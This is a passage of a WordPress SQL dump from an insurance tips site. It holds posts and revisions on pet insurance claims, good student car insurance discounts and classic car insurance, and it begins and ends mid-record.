shows a zero dollar balance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Claims form.</strong>&nbsp;Some insurance providers will require a claim form. However, if you’re using an online platform like MyEmbrace from Embrace Pet Insurance, all information is entered right from your log-in, so you don’t need a separate form.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Veterinary medical records.</strong>&nbsp;To file your first claim, you must submit your pet’s medical records. Since pet insurance coverage usually excludes all pre-existing conditions, the medical records help identify any conditions the pet had before coverage began.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Bank routing and account number.</strong>&nbsp;Some pet insurance companies offer electronic reimbursements. If you want to receive an electronic payment, make sure you provide your bank account information.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Wait Time for a Claim Payment</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Since the claim process varies by insurer, so will the time it takes to get your reimbursement. As long as you send in all of the correct paperwork, insurers usually turn claims around in five to 14 days.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the pandemic stretched out claims payments times. “In the last year, the pandemic has made the biggest impact on turnaround times for claims,” says Alex Stone, founder of PetInsurer.com, a pet insurance comparison provider.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Because some insurers weren’t set up for a remote work environment, it took them a little while to have staff fully set up at home. This slowed the claims process down, and then, as millions more pets were adopted during Covid, it only made the process more clunky. Happily, claims processing times have now pretty much returned to pre-pandemic levels,” says Stone.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to Avoid Pet Insurance Claim Problems</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>“Fundamentally, the reason to buy pet insurance is to use it. So knowing that you’re going to have a claims process that’s efficient, simple, and is going to work, gives consumers peace of mind and confidence in their purchase,” says Walter Haugland, a spokesperson for Pets Best.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are things you can do to ensure the claim-filing process goes without a hitch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Be confident that your claim is valid.</strong>&nbsp;“Before you submit a claim, make sure it’s for a new condition that occurred after any waiting period expired,” says Stone. “If your pet was showing signs or symptoms, had been to the vet, or was taking medication for this condition, then understand it’s likely not covered by the insurance company.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Follow the claim instructions.</strong>&nbsp;Every insurance company has a different process for claims. It’s important to follow the claims process and avoid cutting corners on tasks like sending the necessary documents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Submit your claim right away.</strong>&nbsp;Because some insurance companies limit the time they pay out claims after treatment, it’s in your best interest to get the process underway as soon as possible. For example, you might have 180 days from the treatment date to submit your claim and the paid invoice. Check your policy to verify the plan’s deadline.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Being prompt can ensure you address any claims hiccups promptly. Plus, unless the insurer can pay the vet directly, you’re waiting for your money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Provide all medical records.</strong>&nbsp;This may require making multiple calls. “Often, there are multiple vets involved in pet care, and insurers may require all medical records from all vets. Therefore, whether it’s your first or fourth claim, you may need to ensure all medical records are sent to the insurer,” says Haugland.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“If you don’t provide all medical records upfront, the insurance company will likely reach out to you and the vet directly, which usually slows down the claim-filing process.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Be communicative.</strong> If your pet insurance company requests further documentation, try to send it promptly. Ask your insurance company what kind of waiting time to expect for payment and how you can expedite the claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Appeal if you’re not satisfied after a claim denial. If you find out a claim was denied because the treatment simply wasn’t covered by the policy, you may decide not to pursue the issue. But if you disagree with a denial, ask the insurer what their appeals process is. For example, with Pets Best, if you disagree after the first appeal (for example, due to medical facts), they will bring in a third-party vet to conduct another review. After that, the vet’s decision will be final.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the claim issue is still not resolved to your liking, you can make a complaint to your state’s insurance department. Insurance departments are responsible for regulating insurance companies and monitoring patterns of complaints, so they are the best place to take a grievance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/pet-insurance/how-to-make-pet-insurance-claim/\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Make a Pet Insurance Claim','','inherit','closed','closed','','3796-revision-v1','','','2024-01-29 23:26:09','2024-01-29 23:26:09','',3796,'https://smartinsurance.tips/?p=3798',0,'revision','',0),(3799,1,'2024-01-29 23:30:31','2024-01-29 23:30:31','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3800,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-60-1024x1024.png\" alt=\"\" class=\"wp-image-3800\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is a Good Student Discount?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">A good student discount is an auto insurance policy discount available to young drivers who earn good grades in school. Teen drivers aged 15 to 19 have the highest rate of accidents of any age group, which is why insurers tend to charge more to cover them. However, insurance companies assume that young drivers who are responsible when it comes to their studies are more likely to be responsible drivers. As a result, they are less likely than teens with poor grades to file claims on their car insurance, so they deserve to pay lower insurance premiums.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Good student discounts reward high-school and college-age drivers who earn good grades with lower premiums on their car insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Individual insurance companies that offer good student discounts set their own guidelines for the required grade-point average and the amount of the discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Completing driver education, driving safely, avoiding accidents and traffic violations, and piggybacking on a parent\'s policy are all good ways for young drivers to keep their premiums low.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">How a Good Student Discount Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Car insurance policies protect you against damage from collisions, theft and other incidents. You\'ll pay regular premiums to keep your policy in place. In the event of an accident, you can file a claim to mitigate the costs associated with repairs and vehicle replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">Some insurance companies offer a variety of discounts on your premiums based on factors like your claims history and association memberships. One common option is a good student discount, which offers high school and college students a break on their premiums as long as they meet certain requirements. Insurers set their own eligibility guidelines, including age range, education status, minimum grade point averages, and any terms that may disqualify a student.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Good student discounts—and any other applicable rebates—are a boon to teens and parents in the United States, as car insurance for teen drivers tends to be more expensive than premiums for other age groups. That\'s because young drivers lack driving experience and are more likely to get into car accidents and commit traffic violations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">Requirements for a Good Student Discount</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Insurers that offer good student discounts set their own rules and requirements. Typical requirements include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-15\"><!-- wp:list-item -->\n<li>You must be under 25 years old</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You must be a full-time high school or college student</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You must maintain at least a \"B\" average or demonstrate a certain level of performance on standardized tests like the SAT or ACT</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">You typically need to provide proof of your academic performance to receive or continue receiving a good student discount. For instance, the insurance company may require a school transcript or a report card, and may allow alternative proof from homeschooled students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Some good student discount programs may be combined with others, including driver\'s education discounts and rebates when students are away at school. Ask your insurer what discounts are available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Examples of Good Student Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">State Farm offers up to a 25% discount on premiums to full-time students up to age 25 who earn good grades. GEICO offers up to 15% off certain coverages for full-time students who maintain a B average or better. If you\'re not sure whether your insurer offers a good student discount, it\'s worth asking to confirm the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Is the Good Student Discount?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As with so many questions about the cost of car insurance, the answer depends on factors like your insurer, state, driving record, and vehicle. The age of the drivers, their education status, and their academic performance may also affect the amount of the discount. It\'s best to shop around by requesting quotes from several car insurance companies to find the best coverage for your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Else Can Young Drivers Save Money on Car Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While a good student discount is helpful, insurers say the best way for young drivers to keep their premiums low is through safe driving. Being added to a parent’s policy rather than having one’s own policy can also save young drivers money through the multi-car discount. Other discounts may be available when you increase your deductible, complete driver\'s education, or leave your car behind when you attend college.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also look into graduated driver licensing systems, which provide longer practice periods, limit driving under high-risk conditions for newly licensed drivers, and require greater participation from parents as their teens learn to drive. Research suggests that GDL systems, available in all states, can reduce both overall crashes and fatal crashes among 16-year-olds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Company Offers the Cheapest Car Insurance for Young Drivers?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cost of insurance depends on your state, vehicle, driving record, and a host of other factors, so it\'s best to request quotes specific to your needs from several insurers so you can compare your options. However, when Investopedia analyzed the cost of car insurance for teens from six major insurers in June 2023, Progressive offered the lowest-cost coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-30\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">A good student discount is one way for young drivers and their parents to save money on car insurance. To maintain the discount, the young driver needs to meet eligibility criteria including age, student status, and academic performance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/g/good-student-discount.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Good Student Discount: What It Is, How It Works, Examples','','publish','closed','closed','','good-student-discount-what-it-is-how-it-works-examples','','','2024-01-29 23:30:31','2024-01-29 23:30:31','',0,'https://smartinsurance.tips/?p=3799',0,'post','',0),(3800,1,'2024-01-29 23:28:32','2024-01-29 23:28:32','','Untitled-60','','inherit','closed','closed','','untitled-60','','','2024-01-29 23:28:32','2024-01-29 23:28:32','',3799,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-60.png',0,'attachment','image/png',0),(3801,1,'2024-01-29 23:30:31','2024-01-29 23:30:31','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3800,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-60-1024x1024.png\" alt=\"\" class=\"wp-image-3800\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is a Good Student Discount?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">A good student discount is an auto insurance policy discount available to young drivers who earn good grades in school. Teen drivers aged 15 to 19 have the highest rate of accidents of any age group, which is why insurers tend to charge more to cover them. However, insurance companies assume that young drivers who are responsible when it comes to their studies are more likely to be responsible drivers. As a result, they are less likely than teens with poor grades to file claims on their car insurance, so they deserve to pay lower insurance premiums.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Good student discounts reward high-school and college-age drivers who earn good grades with lower premiums on their car insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Individual insurance companies that offer good student discounts set their own guidelines for the required grade-point average and the amount of the discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Completing driver education, driving safely, avoiding accidents and traffic violations, and piggybacking on a parent\'s policy are all good ways for young drivers to keep their premiums low.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">How a Good Student Discount Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Car insurance policies protect you against damage from collisions, theft and other incidents. You\'ll pay regular premiums to keep your policy in place. In the event of an accident, you can file a claim to mitigate the costs associated with repairs and vehicle replacement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">Some insurance companies offer a variety of discounts on your premiums based on factors like your claims history and association memberships. One common option is a good student discount, which offers high school and college students a break on their premiums as long as they meet certain requirements. Insurers set their own eligibility guidelines, including age range, education status, minimum grade point averages, and any terms that may disqualify a student.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Good student discounts—and any other applicable rebates—are a boon to teens and parents in the United States, as car insurance for teen drivers tends to be more expensive than premiums for other age groups. That\'s because young drivers lack driving experience and are more likely to get into car accidents and commit traffic violations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">Requirements for a Good Student Discount</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Insurers that offer good student discounts set their own rules and requirements. Typical requirements include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-15\"><!-- wp:list-item -->\n<li>You must be under 25 years old</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You must be a full-time high school or college student</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You must maintain at least a \"B\" average or demonstrate a certain level of performance on standardized tests like the SAT or ACT</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">You typically need to provide proof of your academic performance to receive or continue receiving a good student discount. For instance, the insurance company may require a school transcript or a report card, and may allow alternative proof from homeschooled students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Some good student discount programs may be combined with others, including driver\'s education discounts and rebates when students are away at school. Ask your insurer what discounts are available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Examples of Good Student Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">State Farm offers up to a 25% discount on premiums to full-time students up to age 25 who earn good grades. GEICO offers up to 15% off certain coverages for full-time students who maintain a B average or better. If you\'re not sure whether your insurer offers a good student discount, it\'s worth asking to confirm the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Is the Good Student Discount?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As with so many questions about the cost of car insurance, the answer depends on factors like your insurer, state, driving record, and vehicle. The age of the drivers, their education status, and their academic performance may also affect the amount of the discount. It\'s best to shop around by requesting quotes from several car insurance companies to find the best coverage for your needs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Else Can Young Drivers Save Money on Car Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While a good student discount is helpful, insurers say the best way for young drivers to keep their premiums low is through safe driving. Being added to a parent’s policy rather than having one’s own policy can also save young drivers money through the multi-car discount. Other discounts may be available when you increase your deductible, complete driver\'s education, or leave your car behind when you attend college.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also look into graduated driver licensing systems, which provide longer practice periods, limit driving under high-risk conditions for newly licensed drivers, and require greater participation from parents as their teens learn to drive. Research suggests that GDL systems, available in all states, can reduce both overall crashes and fatal crashes among 16-year-olds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Which Company Offers the Cheapest Car Insurance for Young Drivers?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The cost of insurance depends on your state, vehicle, driving record, and a host of other factors, so it\'s best to request quotes specific to your needs from several insurers so you can compare your options. However, when Investopedia analyzed the cost of car insurance for teens from six major insurers in June 2023, Progressive offered the lowest-cost coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-30\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">A good student discount is one way for young drivers and their parents to save money on car insurance. To maintain the discount, the young driver needs to meet eligibility criteria including age, student status, and academic performance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/g/good-student-discount.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Good Student Discount: What It Is, How It Works, Examples','','inherit','closed','closed','','3799-revision-v1','','','2024-01-29 23:30:31','2024-01-29 23:30:31','',3799,'https://smartinsurance.tips/?p=3801',0,'revision','',0),(3802,1,'2024-01-29 23:33:47','2024-01-29 23:33:47','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3803,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/rsz_untitled_61.png\" alt=\"\" class=\"wp-image-3803\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">The car you drive every day to and from work sees a lot more action than the immaculate 1950s Ford Thunderbird you carefully stow away in the garage. It’s also going to be a lot easier to find repair parts for your late-model sedan than it is for a classic ride that rolled off the assembly line decades ago.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Your automobiles may have very different roles, and they likely need different insurance policies to reflect that reality. When it comes to highly prized vehicles, a product called classic car insurance may be the better bet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">Because you likely drive your collectible car far less than your main set of wheels, you typically pay lower premiums than you would with a standard policy. But these niche policies have other benefits, too, like the ability to recoup the full value of the car in the event of a total loss, even if the value has appreciated. Should your vehicle need repairs, insurers that offer classic car coverage will usually have expertise that traditional companies simply don’t have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Other than those key differences, classic car insurance offers much the same protection you’d get with other policies, including collision, comprehensive, bodily injury liability, and property damage coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>• Classic car insurance tends to offer lower premiums than standard policies, largely because it’s intended for cars that are driven infrequently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>• Traditional auto policies factor in depreciation when determining the replacement value or “total loss” limit of a car; classic car policies are designed for vehicles that may actually appreciate over the years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>• Before obtaining a policy, check its restrictions—the insurer may place limits on how often you can use the car and whether you can transport it to exhibitions domestically or abroad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">What Is a Classic Car?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">The word “classic” can be a subjective term when describing automobiles; an owner’s pride and joy might just look like an old car to someone else’s eye. Insurance carriers have their own criteria for what qualifies as a classic car, but in general it applies to models that are more valuable now than they were new.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Typically, they’re vehicles that are at least a couple of decades old, although newer models may qualify if, for example, they were made in smaller production runs or underwent significant modification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Examples of classic cars include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-17\"><!-- wp:list-item -->\n<li>Collectible cars that are at least 25 years old (this age varies by insurer)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Muscle cars and hotrods</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exotic vehicles</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Newer ultra-luxury and high-performance cars</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Fast Fact: <em>Companies that specialize in classic car insurance include Hagerty, American Collectors Insurance, Grundy Insurance, and Heacock Classic.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Requirements to Obtain Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Classic car insurance isn’t intended for cars that owners regularly use for their commute or trips around town. Some carriers will insure cars that are used for periodic leisure drives, although there may be a limit to how many miles you can put on the odometer. If you plan to transport the car to exhibitions of any kind, you’ll want to ask the company whether those trips will be covered under your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">In addition, companies generally won’t indemnify a high-value car that could be subject to weather events or vandalism. Most classic car policies have precise language about the type of environment in which you’re allowed to keep your ride. Usually, that’s a fully enclosed, locked area like a home garage or private storage unit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">When looking for an affordable policy, it also helps if you have a good driving record, since it coincides with a lower risk that the insurer will have to make a payout. Carriers may get skittish about extending coverage to a collectible car if the insured individual has multiple recent speeding tickets or shows a pattern of reckless driving.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Shopping for a Policy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">You have a fair amount of choice when it comes to a collectible car policy. Some companies offering this type of protection are niche insurers that specialize in rare cars, although major carriers like Allstate, GEICO, and Farmers also offer policies geared toward the collector. Here are the main factors you’ll want to look for when comparing carriers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-31\">Agreed value</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-32\">A staple of classic car insurance is that it’ll pay for the actual value of your car, which, unlike most production vehicles, may actually appreciate over time—this is called the agreed value, or guaranteed value. Make sure you and the company are actually in accord on the current market value so you don’t get taken for a ride should you need to file a claim. You will also want to make sure they’ll agree to increase your coverage limits should the car continue to appreciate over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-34\">Mileage restrictions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">One of the reasons that these specialty policies tend to be less expensive than traditional insurance is that they’re not intended for vehicles that see a lot of road time. Inquire what, if any, restrictions the company places on the number of miles you can put on the vehicle. You’ll also want to find out if they cover visits to club events and other shows. If not, you may be able to customize your policy—in other words, pay more—to include that coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-37\">Repair shop of choice</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">When you’re dealing with a coveted hotrod or a limited-production sports car, your local body shop may not have the know-how or access to proper parts to ensure a high-quality repair. Do a little research to make sure the carrier will fully cover repairs at the shop of your choosing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-40\">In-house expertise</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">A good collectible car insurer serves as a concierge of sorts should your vehicle encounter a collision or suffer other damage. If high-touch service is something you value, make sure you’re comfortable with the expertise of the team that will be responding to your claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-43\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-44\">If your garage houses a rare or highly collectible car that’s steadily going up in value, a traditional car insurance policy probably doesn’t make much sense. Classic car insurance policies often let you visit your preferred repair shop when work needs to be done and will cover the actual market value of your vehicle. And because they’re tailored toward vehicles that are meant for show more than utility, you often pay a lower premium, to boot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/what-is-classic-car-insurance-5072132\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is Classic Car Insurance?','','publish','closed','closed','','what-is-classic-car-insurance','','','2024-01-29 23:33:47','2024-01-29 23:33:47','',0,'https://smartinsurance.tips/?p=3802',0,'post','',0),(3803,1,'2024-01-29 23:32:34','2024-01-29 23:32:34','','rsz_untitled_61','','inherit','closed','closed','','rsz_untitled_61','','','2024-01-29 23:32:34','2024-01-29 23:32:34','',3802,'http://smartinsurance.tips/wp-content/uploads/2024/01/rsz_untitled_61.png',0,'attachment','image/png',0),(3804,1,'2024-01-29 23:33:47','2024-01-29 23:33:47','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3803,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/rsz_untitled_61.png\" alt=\"\" class=\"wp-image-3803\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">The car you drive every day to and from work sees a lot more action than the immaculate 1950s Ford Thunderbird you carefully stow away in the garage. It’s also going to be a lot easier to find repair parts for your late-model sedan than it is for a classic ride that rolled off the assembly line decades ago.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Your automobiles may have very different roles, 